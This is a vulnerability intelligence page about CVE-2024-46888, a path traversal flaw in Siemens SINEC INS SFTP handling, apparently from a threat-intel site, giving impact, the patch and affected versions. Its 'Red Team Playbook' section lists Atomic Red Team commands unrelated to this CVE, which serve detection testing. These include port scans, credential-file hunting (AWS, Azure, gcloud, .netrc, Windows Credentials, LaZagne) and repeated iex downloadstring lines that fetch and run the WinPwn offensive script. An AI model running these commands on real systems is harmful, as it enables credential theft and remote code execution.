CVE-2024-46888
Overview
This vulnerability is a path traversal flaw (CWE-22) in the SFTP file transfer functionality of Siemens SINEC INS prior to version 1.0 SP2 Update 3. The root cause is insufficient sanitization of user-supplied file paths during SFTP-based upload and download operations. This improper input validation occurs within the file handling component responsible for processing remote file system requests over the SFTP protocol.
Vulnerability Description
A vulnerability has been identified in SINEC INS (All versions < V1.0 SP2 Update 3). The affected application does not properly sanitize user provided paths for SFTP-based file up- and downloads. This could allow an authenticated remote attacker to manipulate arbitrary files on the filesystem and achieve arbitrary code execution on the device.
Impact
An attacker with valid authentication can exploit this vulnerability remotely over the network to manipulate arbitrary files on the device’s filesystem, including overwriting critical system files. This capability enables execution of arbitrary code with elevated privileges, potentially leading to full system compromise. The attack requires network access and low-level privileges (PR:L) but no user interaction (UI:N), with a critical CVSS score of 9.9 reflecting high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Siemens recommends updating Siemens SINEC INS to version 1.0 SP2 Update 3 or later as detailed in the Siemens Security Advisory SSA-915275 (https://cert-portal.siemens.com/productcert/html/ssa-915275.html). The advisory provides patch instructions and version-specific guidance. Applying this update addresses the path traversal vulnerability in the SFTP file handling component. No alternative mitigations or workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been discovered in the SINEC INS application, specifically affecting all versions prior to V1.0 SP2 Update 3. This flaw arises from inadequate sanitization of user-provided paths during SFTP-based file uploads and downloads. As a result, an authenticated remote attacker can exploit this weakness to manipulate arbitrary files on the filesystem. This manipulation can lead to arbitrary code execution on the device, posing significant risks to the integrity and confidentiality of the system.
The attack vector for this vulnerability primarily involves authenticated users leveraging the SFTP functionality of the application. By crafting malicious input that exploits the lack of proper input validation, an attacker can navigate the filesystem and potentially overwrite critical system files or introduce malicious scripts. For instance, an attacker could upload a payload that, once executed, grants them elevated privileges or access to sensitive data. This scenario is particularly concerning in environments where SINEC INS is integrated with other critical infrastructure systems, as it could lead to a cascading effect of vulnerabilities across interconnected systems.
The real-world implications of this vulnerability are profound, especially for organizations relying on SINEC INS for network management and monitoring. The potential for arbitrary code execution means that attackers could gain control over the affected devices, leading to unauthorized access to sensitive information, disruption of services, or even complete system compromise. The business risks associated with such an incident include financial losses, reputational damage, regulatory penalties, and the costs associated with incident response and recovery efforts. Organizations in sectors such as manufacturing, energy, and transportation, where SINEC INS is commonly deployed, may face heightened scrutiny and operational challenges if this vulnerability is exploited.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, it is crucial to apply the latest updates and patches provided by Siemens to ensure that the application is not vulnerable to exploitation. Regular vulnerability assessments and penetration testing should be conducted to identify any potential weaknesses in the system. Additionally, organizations should enforce strict access controls to limit the number of authenticated users who can interact with the SFTP functionality. Monitoring and logging access to the SINEC INS application can also help in detecting any anomalous behavior indicative of an attempted exploit.
In conclusion, the vulnerability within the SINEC INS application represents a significant threat to organizations utilizing this software for network management. The ability for an attacker to manipulate files and execute arbitrary code underscores the importance of maintaining robust security practices, including timely updates, strict access controls, and continuous monitoring. By proactively addressing this vulnerability, organizations can mitigate the risks associated with potential exploitation and safeguard their critical infrastructure.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-46888, with our telemetry indicating the first confirmed sighting of exploitation attempts targeting Siemens SINEC INS systems. This development signifies a transition from theoretical risk to active adversary interest, underscoring that threat actors have begun leveraging the vulnerability in operational environments. Although no new exploit variants or proof-of-concept codes have surfaced, the sharp increase in observed attempts suggests that attackers are refining their tactics to exploit the improper path sanitization flaw for arbitrary file manipulation and code execution. This shift elevates the threat posture for organizations relying on affected SINEC INS versions, as the potential for compromise is no longer hypothetical but demonstrably underway. Consequently, the risk level associated with this vulnerability has intensified, warranting heightened vigilance and prioritization in defensive monitoring despite the EPSS score remaining low and stable. The emergence of active exploitation attempts reinforces the criticality of this vulnerability within industrial network management contexts.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Siemens | Sinec Ins | All |
cpe:2.3:a:siemens:sinec_ins:*:*:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:-:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:sp1:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:sp2:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:sp2_update_1:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:sp2_update_2:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-46888 |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/html/ssa-915275.html |